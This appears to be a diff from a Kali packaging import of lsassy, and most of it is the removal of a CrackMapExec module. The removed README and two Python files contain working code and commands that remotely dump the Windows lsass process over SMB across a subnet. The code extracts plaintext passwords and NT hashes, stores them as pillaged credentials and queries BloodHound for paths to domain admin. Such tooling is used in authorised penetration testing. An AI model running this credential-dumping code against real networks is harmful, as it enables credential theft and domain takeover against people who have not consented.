Import upstream version 2.1.3
Kali Janitor
2 years ago
0 | # For most projects, this workflow file will not need changing; you simply need | |
1 | # to commit it to your repository. | |
2 | # | |
3 | # You may wish to alter this file to override the set of languages analyzed, | |
4 | # or to provide custom queries or build logic. | |
5 | name: "CodeQL" | |
6 | ||
7 | on: | |
8 | push: | |
9 | branches: [master] | |
10 | pull_request: | |
11 | # The branches below must be a subset of the branches above | |
12 | branches: [master] | |
13 | schedule: | |
14 | - cron: '0 17 * * 4' | |
15 | ||
16 | jobs: | |
17 | analyze: | |
18 | name: Analyze | |
19 | runs-on: ubuntu-latest | |
20 | ||
21 | strategy: | |
22 | fail-fast: false | |
23 | matrix: | |
24 | # Override automatic language detection by changing the below list | |
25 | # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python'] | |
26 | language: ['python'] | |
27 | # Learn more... | |
28 | # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection | |
29 | ||
30 | steps: | |
31 | - name: Checkout repository | |
32 | uses: actions/checkout@v2 | |
33 | with: | |
34 | # We must fetch at least the immediate parents so that if this is | |
35 | # a pull request then we can checkout the head. | |
36 | fetch-depth: 2 | |
37 | ||
38 | # If this run was triggered by a pull request event, then checkout | |
39 | # the head of the pull request instead of the merge commit. | |
40 | - run: git checkout HEAD^2 | |
41 | if: ${{ github.event_name == 'pull_request' }} | |
42 | ||
43 | # Initializes the CodeQL tools for scanning. | |
44 | - name: Initialize CodeQL | |
45 | uses: github/codeql-action/init@v1 | |
46 | with: | |
47 | languages: ${{ matrix.language }} | |
48 | # If you wish to specify custom queries, you can do so here or in a config file. | |
49 | # By default, queries listed here will override any specified in a config file. | |
50 | # Prefix the list here with "+" to use these queries and those in the config file. | |
51 | # queries: ./path/to/local/query, your-org/your-repo/queries@main | |
52 | ||
53 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). | |
54 | # If this step fails, then you should remove it and run the build manually (see below) | |
55 | - name: Autobuild | |
56 | uses: github/codeql-action/autobuild@v1 | |
57 | ||
58 | # âšī¸ Command-line programs to run using the OS shell. | |
59 | # đ https://git.io/JvXDl | |
60 | ||
61 | # âī¸ If the Autobuild fails above, remove it and uncomment the following three lines | |
62 | # and modify them (or add more) to build your code if your project | |
63 | # uses a compiled language | |
64 | ||
65 | #- run: | | |
66 | # make bootstrap | |
67 | # make release | |
68 | ||
69 | - name: Perform CodeQL Analysis | |
70 | uses: github/codeql-action/analyze@v1 |
0 | 0 | # lsassy |
1 | 1 | |
2 | [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.2&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) | |
2 | [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.3&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) | |
3 | 3 | |
4 | 4 | ![Example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png) |
5 | 5 | |
40 | 40 | |
41 | 41 | ### CrackMapExec module |
42 | 42 | |
43 | * [Installation](https://github.com/Hackndo/lsassy/wiki/CME-Installation) | |
44 | * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/CME-Basic-Usage) | |
45 | * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/CME-Advanced-Usage) | |
46 | ||
47 | ## CrackMapExec module | |
48 | ||
49 | I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts | |
50 | ||
51 | CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme) | |
52 | ||
53 | ## Issues | |
54 | ||
55 | If you find an issue with this tool (that's very plausible !), please | |
56 | ||
57 | * Check that you're using the latest version | |
58 | * Send as much details as possible. | |
59 | - For standalone **lsassy**, please use maximum verbosity `-vv` | |
60 | - For CME module, please use CrackMapExec `--verbose` flag | |
43 | * CrackMapExec module is now [part of CrackMapExec project](https://github.com/byt3bl33d3r/CrackMapExec/pull/341) | |
44 | * CME module is [documentated in project's wiki](https://github.com/Hackndo/lsassy/wiki/) | |
61 | 45 | |
62 | 46 | ## Changelog |
63 | 47 |
0 | # lsassy CrackMapExec Module | |
1 | ||
2 | ![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red) | |
3 | ||
4 | This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**. | |
5 | ||
6 | ![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example_cme.png) | |
7 | ||
8 | ## Requirements | |
9 | ||
10 | * Python2.7 | |
11 | - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) | |
12 | * Python3.6+ | |
13 | - [lsassy](https://github.com/Hackndo/lsassy/) | |
14 | ||
15 | ||
16 | ## Installation | |
17 | ||
18 | * Install **lsassy** | |
19 | ||
20 | ### Python2 | |
21 | ||
22 | * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py) | |
23 | * Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules` | |
24 | * Reinstall CrackMapExec using python2.7 `python setup.py install` | |
25 | ||
26 | ```bash | |
27 | python3 -m pip install lsassy | |
28 | wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py | |
29 | cp lsassy.py /opt/CrackMapExec/cme/modules/ | |
30 | cd /opt/CrackMapExec | |
31 | python2.7 setup.py install | |
32 | ``` | |
33 | ||
34 | ### Python3 | |
35 | ||
36 | * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py) | |
37 | * Copy `lsassy3.py` in `[CrackMapExec Path]/cme/modules` | |
38 | * Reinstall CrackMapExec using python3 `python setup.py install` | |
39 | ||
40 | ```bash | |
41 | python3 -m pip install lsassy | |
42 | wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py | |
43 | cp lsassy3.py /opt/CrackMapExec/cme/modules/ | |
44 | cd /opt/CrackMapExec | |
45 | python3 setup.py install | |
46 | ``` | |
47 | ||
48 | ## Usage | |
49 | ||
50 | ### Basic | |
51 | ||
52 | ```bash | |
53 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy | |
54 | ``` | |
55 | ||
56 | ### Advanced | |
57 | ||
58 | By default, this module uses `rundll32.exe` with `comsvcs.dll` DLL to dump lsass process on the remote host, with method **1** of lsassy. | |
59 | ||
60 | If you want to specify the dumping method, use the `METHOD` option (`lsassy -h` for more details) | |
61 | ||
62 | ```bash | |
63 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=3 | |
64 | ``` | |
65 | ||
66 | If you're using a method that requires procdump, you can specify procdump location with `PROCDUMP_PATH` option. | |
67 | ||
68 | ```bash | |
69 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=2 PROCDUMP_PATH=/opt/Sysinternals/procdump.exe | |
70 | ``` | |
71 | ||
72 | By default, lsass dump name is randomly generated. If you want to specify a dump name, you can use `REMOTE_LSASS_DUMP` option. | |
73 | ||
74 | ```bash | |
75 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o REMOTE_LSASS_DUMP=LSASSY_DUMP.dmp | |
76 | ``` | |
77 | ||
78 | ### BloodHound | |
79 | ||
80 | You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks : | |
81 | * Set "owned" on BloodHound computer nodes that are compromised | |
82 | * Detect compromised users that have a **path to domain admin** | |
83 | ||
84 | ```bash | |
85 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True | |
86 | ``` | |
87 | ||
88 | You can check available options using | |
89 | ||
90 | ``` | |
91 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options | |
92 | [*] lsassy module options: | |
93 | ||
94 | METHOD Method to use to dump procdump with lsassy. See lsassy -h for more details | |
95 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) | |
96 | PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used | |
97 | BLOODHOUND Enable Bloodhound integration (default: false) | |
98 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) | |
99 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) | |
100 | NEO4JUSER Username for Neo4j database (default: 'neo4j') | |
101 | NEO4JPASS Password for Neo4j database (default: 'neo4j') | |
102 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') | |
103 | ||
104 | ``` | |
105 | ||
106 | ## Issue | |
107 | ||
108 | If you find an issue with this tool (that's very plausible !), please | |
109 | ||
110 | * Check that you're using the latest version | |
111 | * Send as much details as possible. | |
112 | - For standalone **lsassy**, please use the `-d` debug flag | |
113 | - For CME module, please use CrackMapExec `--verbose` flag | |
114 | ||
115 | Have fun |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import json | |
7 | import subprocess | |
8 | import sys | |
9 | ||
10 | ||
11 | class CMEModule: | |
12 | name = 'lsassy' | |
13 | description = "Dump lsass and parse the result remotely with lsassy" | |
14 | supported_protocols = ['smb'] | |
15 | opsec_safe = True | |
16 | multiple_hosts = True | |
17 | ||
18 | def options(self, context, module_options): | |
19 | """ | |
20 | METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details | |
21 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) | |
22 | PROCDUMP_PATH Path to procdump on attacker host (Required for method 2) | |
23 | DUMPERT_PATH Path to procdump on attacker host (Required for method 5) | |
24 | BLOODHOUND Enable Bloodhound integration (default: false) | |
25 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) | |
26 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) | |
27 | NEO4JUSER Username for Neo4j database (default: 'neo4j') | |
28 | NEO4JPASS Password for Neo4j database (default: 'neo4j') | |
29 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') | |
30 | """ | |
31 | ||
32 | self.method = False | |
33 | self.remote_lsass_dump = False | |
34 | self.procdump_path = False | |
35 | self.dumpert_path = False | |
36 | ||
37 | if 'METHOD' in module_options: | |
38 | self.method = module_options['METHOD'] | |
39 | ||
40 | if 'REMOTE_LSASS_DUMP' in module_options: | |
41 | self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] | |
42 | ||
43 | if 'PROCDUMP_PATH' in module_options: | |
44 | self.procdump_path = module_options['PROCDUMP_PATH'] | |
45 | ||
46 | if 'DUMPERT_PATH' in module_options: | |
47 | self.dumpert_path = module_options['DUMPERT_PATH'] | |
48 | ||
49 | self.bloodhound = False | |
50 | self.neo4j_URI = "127.0.0.1" | |
51 | self.neo4j_Port = "7687" | |
52 | self.neo4j_user = "neo4j" | |
53 | self.neo4j_pass = "neo4j" | |
54 | self.without_edges = "" | |
55 | ||
56 | if module_options and 'BLOODHOUND' in module_options: | |
57 | self.bloodhound = module_options['BLOODHOUND'] | |
58 | if module_options and 'NEO4JURI' in module_options: | |
59 | self.neo4j_URI = module_options['NEO4JURI'] | |
60 | if module_options and 'NEO4JPORT' in module_options: | |
61 | self.neo4j_Port = module_options['NEO4JPORT'] | |
62 | if module_options and 'NEO4JUSER' in module_options: | |
63 | self.neo4j_user = module_options['NEO4JUSER'] | |
64 | if module_options and 'NEO4JPASS' in module_options: | |
65 | self.neo4j_pass = module_options['NEO4JPASS'] | |
66 | if module_options and 'WITHOUT_EDGES' in module_options: | |
67 | self.without_edges = module_options['WITHOUT_EDGES'] | |
68 | ||
69 | def on_admin_login(self, context, connection): | |
70 | if self.bloodhound: | |
71 | self.set_as_owned(context, connection) | |
72 | ||
73 | """ | |
74 | Since lsassy is py3.6+ and CME is still py2, lsassy cannot be | |
75 | imported. For this reason, connection information must be sent to lsassy | |
76 | so it can create a new connection. | |
77 | ||
78 | When CME is py3.6 compatible, CME connection object will be reused. | |
79 | """ | |
80 | domain_name = connection.domain | |
81 | username = connection.username | |
82 | password = getattr(connection, "password", "") | |
83 | lmhash = getattr(connection, "lmhash", "") | |
84 | nthash = getattr(connection, "nthash", "") | |
85 | ||
86 | password = "" if password is None else password | |
87 | lmhash = "" if lmhash is None else lmhash | |
88 | nthash = "" if nthash is None else nthash | |
89 | ||
90 | host = connection.host | |
91 | ||
92 | command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format( | |
93 | domain_name, username, password, lmhash, nthash, host | |
94 | ) | |
95 | ||
96 | if context.verbose: | |
97 | command += " -vv " | |
98 | ||
99 | if self.method: | |
100 | command += " --method {}".format(self.method) | |
101 | ||
102 | if self.remote_lsass_dump: | |
103 | command += " --dumpname {}".format(self.remote_lsass_dump) | |
104 | ||
105 | if self.procdump_path: | |
106 | command += " --procdump {}".format(self.procdump_path) | |
107 | ||
108 | if self.dumpert_path: | |
109 | command += " --dumpert {}".format(self.dumpert_path) | |
110 | ||
111 | # Parsing lsass dump remotely | |
112 | context.log.info('Parsing lsass with lsassy') | |
113 | context.log.debug('Lsassy command : {}'.format(command)) | |
114 | code, out, err = self.run(command) | |
115 | ||
116 | context.log.debug('----- lsassy output -----') | |
117 | for line in out.split("\n"): | |
118 | context.log.debug('{}'.format(line)) | |
119 | context.log.debug('----- end output -----') | |
120 | ||
121 | if code != 0: | |
122 | # Debug output | |
123 | if code == 5: | |
124 | context.log.error('Lsass is protected') | |
125 | else: | |
126 | context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details') | |
127 | context.log.debug('----- lsassy error [{}] -----'.format(code)) | |
128 | for line in err.split("\n"): | |
129 | context.log.debug('{}'.format(line)) | |
130 | context.log.debug('----- end error -----') | |
131 | elif not context.verbose: | |
132 | self.process_credentials(context, connection, out) | |
133 | ||
134 | @staticmethod | |
135 | def run(cmd): | |
136 | proc = subprocess.Popen([ | |
137 | '/bin/sh', '-c', cmd], | |
138 | stdout=subprocess.PIPE, | |
139 | stderr=subprocess.PIPE, | |
140 | ) | |
141 | stdout, stderr = proc.communicate() | |
142 | ||
143 | return proc.returncode, stdout, stderr | |
144 | ||
145 | def process_credentials(self, context, connection, credentials): | |
146 | credentials = json.loads(credentials) | |
147 | for domain, users in credentials.items(): | |
148 | for username, creds in users.items(): | |
149 | for cred in creds: | |
150 | password = cred['password'] | |
151 | lmhash = cred['lmhash'] | |
152 | nthash = cred['nthash'] | |
153 | self.save_credentials(context, connection, domain, username, password, lmhash, nthash) | |
154 | self.print_credentials(context, connection, domain, username, password, lmhash, nthash) | |
155 | ||
156 | @staticmethod | |
157 | def save_credentials(context, connection, domain, username, password, lmhash, nthash): | |
158 | host_id = context.db.get_computers(connection.host)[0][0] | |
159 | if password is not None: | |
160 | credential_type = 'plaintext' | |
161 | else: | |
162 | credential_type = 'hash' | |
163 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
164 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) | |
165 | ||
166 | def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): | |
167 | if password is None: | |
168 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
169 | output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')) | |
170 | if self.bloodhound and self.bloodhound_analysis(context, connection, username): | |
171 | output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow | |
172 | context.log.highlight(output) | |
173 | ||
174 | def set_as_owned(self, context, connection): | |
175 | try: | |
176 | from neo4j.v1 import GraphDatabase | |
177 | except: | |
178 | from neo4j import GraphDatabase | |
179 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
180 | host_fqdn = (connection.hostname + "." + connection.domain).upper() | |
181 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
182 | ||
183 | try: | |
184 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
185 | except AuthError as e: | |
186 | context.log.error( | |
187 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
188 | sys.exit() | |
189 | except ServiceUnavailable as e: | |
190 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
191 | sys.exit() | |
192 | except Exception as e: | |
193 | context.log.error("Unexpected error with Neo4J") | |
194 | context.log.debug("Error : ".format(str(e))) | |
195 | sys.exit() | |
196 | ||
197 | with driver.session() as session: | |
198 | with session.begin_transaction() as tx: | |
199 | result = tx.run( | |
200 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) | |
201 | if len(result.value()) > 0: | |
202 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) | |
203 | else: | |
204 | context.log.error( | |
205 | "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) | |
206 | driver.close() | |
207 | ||
208 | def bloodhound_analysis(self, context, connection, username): | |
209 | try: | |
210 | from neo4j.v1 import GraphDatabase | |
211 | except: | |
212 | from neo4j import GraphDatabase | |
213 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
214 | username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") | |
215 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
216 | ||
217 | try: | |
218 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
219 | except AuthError as e: | |
220 | context.log.error( | |
221 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
222 | return False | |
223 | except ServiceUnavailable as e: | |
224 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
225 | return False | |
226 | except Exception as e: | |
227 | context.log.error("Unexpected error with Neo4J") | |
228 | context.log.debug("Error : ".format(str(e))) | |
229 | return False | |
230 | ||
231 | edges = [ | |
232 | "MemberOf", | |
233 | "HasSession", | |
234 | "AdminTo", | |
235 | "AllExtendedRights", | |
236 | "AddMember", | |
237 | "ForceChangePassword", | |
238 | "GenericAll", | |
239 | "GenericWrite", | |
240 | "Owns", | |
241 | "WriteDacl", | |
242 | "WriteOwner", | |
243 | "CanRDP", | |
244 | "ExecuteDCOM", | |
245 | "AllowedToDelegate", | |
246 | "ReadLAPSPassword", | |
247 | "Contains", | |
248 | "GpLink", | |
249 | "AddAllowedToAct", | |
250 | "AllowedToAct", | |
251 | "SQLAdmin" | |
252 | ] | |
253 | # Remove blacklisted edges | |
254 | without_edges = [e.lower() for e in self.without_edges.split(",")] | |
255 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] | |
256 | ||
257 | with driver.session() as session: | |
258 | with session.begin_transaction() as tx: | |
259 | query = """ | |
260 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) | |
261 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" | |
262 | RETURN COUNT(p) AS pathNb | |
263 | """.format(username, '|'.join(effective_edges)) | |
264 | ||
265 | context.log.debug("Query : {}".format(query)) | |
266 | result = tx.run(query) | |
267 | driver.close() | |
268 | return result.value()[0] > 0 |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import json | |
7 | import subprocess | |
8 | import sys | |
9 | ||
10 | from lsassy import Lsassy, Logger, Dumper, Parser, Writer | |
11 | ||
12 | ||
13 | class CMEModule: | |
14 | name = 'lsassy' | |
15 | description = "Dump lsass and parse the result remotely with lsassy" | |
16 | supported_protocols = ['smb'] | |
17 | opsec_safe = True | |
18 | multiple_hosts = True | |
19 | ||
20 | def options(self, context, module_options): | |
21 | """ | |
22 | METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details | |
23 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) | |
24 | PROCDUMP_PATH Path to procdump on attacker host (Required for method 2) | |
25 | DUMPERT_PATH Path to procdump on attacker host (Required for method 5) | |
26 | BLOODHOUND Enable Bloodhound integration (default: false) | |
27 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) | |
28 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) | |
29 | NEO4JUSER Username for Neo4j database (default: 'neo4j') | |
30 | NEO4JPASS Password for Neo4j database (default: 'neo4j') | |
31 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') | |
32 | """ | |
33 | ||
34 | self.method = False | |
35 | self.remote_lsass_dump = False | |
36 | self.procdump_path = False | |
37 | self.dumpert_path = False | |
38 | ||
39 | if 'METHOD' in module_options: | |
40 | self.method = module_options['METHOD'] | |
41 | ||
42 | if 'REMOTE_LSASS_DUMP' in module_options: | |
43 | self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] | |
44 | ||
45 | if 'PROCDUMP_PATH' in module_options: | |
46 | self.procdump_path = module_options['PROCDUMP_PATH'] | |
47 | ||
48 | if 'DUMPERT_PATH' in module_options: | |
49 | self.dumpert_path = module_options['DUMPERT_PATH'] | |
50 | ||
51 | self.bloodhound = False | |
52 | self.neo4j_URI = "127.0.0.1" | |
53 | self.neo4j_Port = "7687" | |
54 | self.neo4j_user = "neo4j" | |
55 | self.neo4j_pass = "neo4j" | |
56 | self.without_edges = "" | |
57 | ||
58 | if module_options and 'BLOODHOUND' in module_options: | |
59 | self.bloodhound = module_options['BLOODHOUND'] | |
60 | if module_options and 'NEO4JURI' in module_options: | |
61 | self.neo4j_URI = module_options['NEO4JURI'] | |
62 | if module_options and 'NEO4JPORT' in module_options: | |
63 | self.neo4j_Port = module_options['NEO4JPORT'] | |
64 | if module_options and 'NEO4JUSER' in module_options: | |
65 | self.neo4j_user = module_options['NEO4JUSER'] | |
66 | if module_options and 'NEO4JPASS' in module_options: | |
67 | self.neo4j_pass = module_options['NEO4JPASS'] | |
68 | if module_options and 'WITHOUT_EDGES' in module_options: | |
69 | self.without_edges = module_options['WITHOUT_EDGES'] | |
70 | ||
71 | def on_admin_login(self, context, connection): | |
72 | if self.bloodhound: | |
73 | self.set_as_owned(context, connection) | |
74 | ||
75 | """ | |
76 | Since lsassy is py3.6+ and CME is still py2, lsassy cannot be | |
77 | imported. For this reason, connection information must be sent to lsassy | |
78 | so it can create a new connection. | |
79 | ||
80 | When CME is py3.6 compatible, CME connection object will be reused. | |
81 | """ | |
82 | domain_name = connection.domain | |
83 | username = connection.username | |
84 | password = getattr(connection, "password", "") | |
85 | lmhash = getattr(connection, "lmhash", "") | |
86 | nthash = getattr(connection, "nthash", "") | |
87 | ||
88 | password = "" if password is None else password | |
89 | lmhash = "" if lmhash is None else lmhash | |
90 | nthash = "" if nthash is None else nthash | |
91 | ||
92 | host = connection.host | |
93 | ||
94 | log_options = Logger.Options() | |
95 | dump_options = Dumper.Options() | |
96 | parse_options = Parser.Options() | |
97 | write_option = Writer.Options(format="json", quiet=True) | |
98 | ||
99 | if self.method: | |
100 | dump_options.method = int(self.method) | |
101 | ||
102 | if self.remote_lsass_dump: | |
103 | dump_options.dumpname = self.remote_lsass_dump | |
104 | ||
105 | if self.procdump_path: | |
106 | dump_options.procdump_path = self.procdump_path | |
107 | ||
108 | if self.dumpert_path: | |
109 | dump_options.dumpert_path = self.dumpert_path | |
110 | ||
111 | lsassy = Lsassy( | |
112 | hostname=host, | |
113 | username=username, | |
114 | domain=domain_name, | |
115 | password=password, | |
116 | lmhash=lmhash, | |
117 | nthash=nthash, | |
118 | log_options=log_options, | |
119 | dump_options=dump_options, | |
120 | parse_options=parse_options, | |
121 | write_options=write_option | |
122 | ) | |
123 | credentials = lsassy.get_credentials() | |
124 | ||
125 | if not credentials['success']: | |
126 | context.log.error(credentials['error_msg']) | |
127 | if context.verbose and credentials['error_exception']: | |
128 | context.log.error(credentials['error_exception']) | |
129 | else: | |
130 | self.process_credentials(context, connection, credentials["credentials"]) | |
131 | ||
132 | @staticmethod | |
133 | def run(cmd): | |
134 | proc = subprocess.Popen([ | |
135 | '/bin/sh', '-c', cmd], | |
136 | stdout=subprocess.PIPE, | |
137 | stderr=subprocess.PIPE, | |
138 | ) | |
139 | stdout, stderr = proc.communicate() | |
140 | ||
141 | return proc.returncode, stdout, stderr | |
142 | ||
143 | def process_credentials(self, context, connection, credentials): | |
144 | for domain, creds in json.loads(credentials).items(): | |
145 | for username, passwords in creds.items(): | |
146 | for password in passwords: | |
147 | plain = password["password"] | |
148 | lmhash = password["lmhash"] | |
149 | nthash = password["nthash"] | |
150 | self.save_credentials(context, connection, domain, username, plain, lmhash, nthash) | |
151 | self.print_credentials(context, connection, domain, username, plain, lmhash, nthash) | |
152 | ||
153 | ||
154 | ||
155 | @staticmethod | |
156 | def save_credentials(context, connection, domain, username, password, lmhash, nthash): | |
157 | host_id = context.db.get_computers(connection.host)[0][0] | |
158 | if password is not None: | |
159 | credential_type = 'plaintext' | |
160 | else: | |
161 | credential_type = 'hash' | |
162 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
163 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) | |
164 | ||
165 | def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): | |
166 | if password is None: | |
167 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
168 | output = "%s\\%s %s" % (domain, username, password) | |
169 | if self.bloodhound and self.bloodhound_analysis(context, connection, username): | |
170 | output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow | |
171 | context.log.highlight(output) | |
172 | ||
173 | def set_as_owned(self, context, connection): | |
174 | try: | |
175 | from neo4j.v1 import GraphDatabase | |
176 | except: | |
177 | from neo4j import GraphDatabase | |
178 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
179 | host_fqdn = (connection.hostname + "." + connection.domain).upper() | |
180 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
181 | ||
182 | try: | |
183 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
184 | except AuthError as e: | |
185 | context.log.error( | |
186 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
187 | sys.exit() | |
188 | except ServiceUnavailable as e: | |
189 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
190 | sys.exit() | |
191 | except Exception as e: | |
192 | context.log.error("Unexpected error with Neo4J") | |
193 | context.log.debug("Error : ".format(str(e))) | |
194 | sys.exit() | |
195 | ||
196 | with driver.session() as session: | |
197 | with session.begin_transaction() as tx: | |
198 | result = tx.run( | |
199 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) | |
200 | if len(result.value()) > 0: | |
201 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) | |
202 | else: | |
203 | context.log.error( | |
204 | "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) | |
205 | driver.close() | |
206 | ||
207 | def bloodhound_analysis(self, context, connection, username): | |
208 | try: | |
209 | from neo4j.v1 import GraphDatabase | |
210 | except: | |
211 | from neo4j import GraphDatabase | |
212 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
213 | username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") | |
214 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
215 | ||
216 | try: | |
217 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
218 | except AuthError as e: | |
219 | context.log.error( | |
220 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
221 | return False | |
222 | except ServiceUnavailable as e: | |
223 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
224 | return False | |
225 | except Exception as e: | |
226 | context.log.error("Unexpected error with Neo4J") | |
227 | context.log.debug("Error : ".format(str(e))) | |
228 | return False | |
229 | ||
230 | edges = [ | |
231 | "MemberOf", | |
232 | "HasSession", | |
233 | "AdminTo", | |
234 | "AllExtendedRights", | |
235 | "AddMember", | |
236 | "ForceChangePassword", | |
237 | "GenericAll", | |
238 | "GenericWrite", | |
239 | "Owns", | |
240 | "WriteDacl", | |
241 | "WriteOwner", | |
242 | "CanRDP", | |
243 | "ExecuteDCOM", | |
244 | "AllowedToDelegate", | |
245 | "ReadLAPSPassword", | |
246 | "Contains", | |
247 | "GpLink", | |
248 | "AddAllowedToAct", | |
249 | "AllowedToAct", | |
250 | "SQLAdmin" | |
251 | ] | |
252 | # Remove blacklisted edges | |
253 | without_edges = [e.lower() for e in self.without_edges.split(",")] | |
254 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] | |
255 | ||
256 | with driver.session() as session: | |
257 | with session.begin_transaction() as tx: | |
258 | query = """ | |
259 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) | |
260 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" | |
261 | RETURN COUNT(p) AS pathNb | |
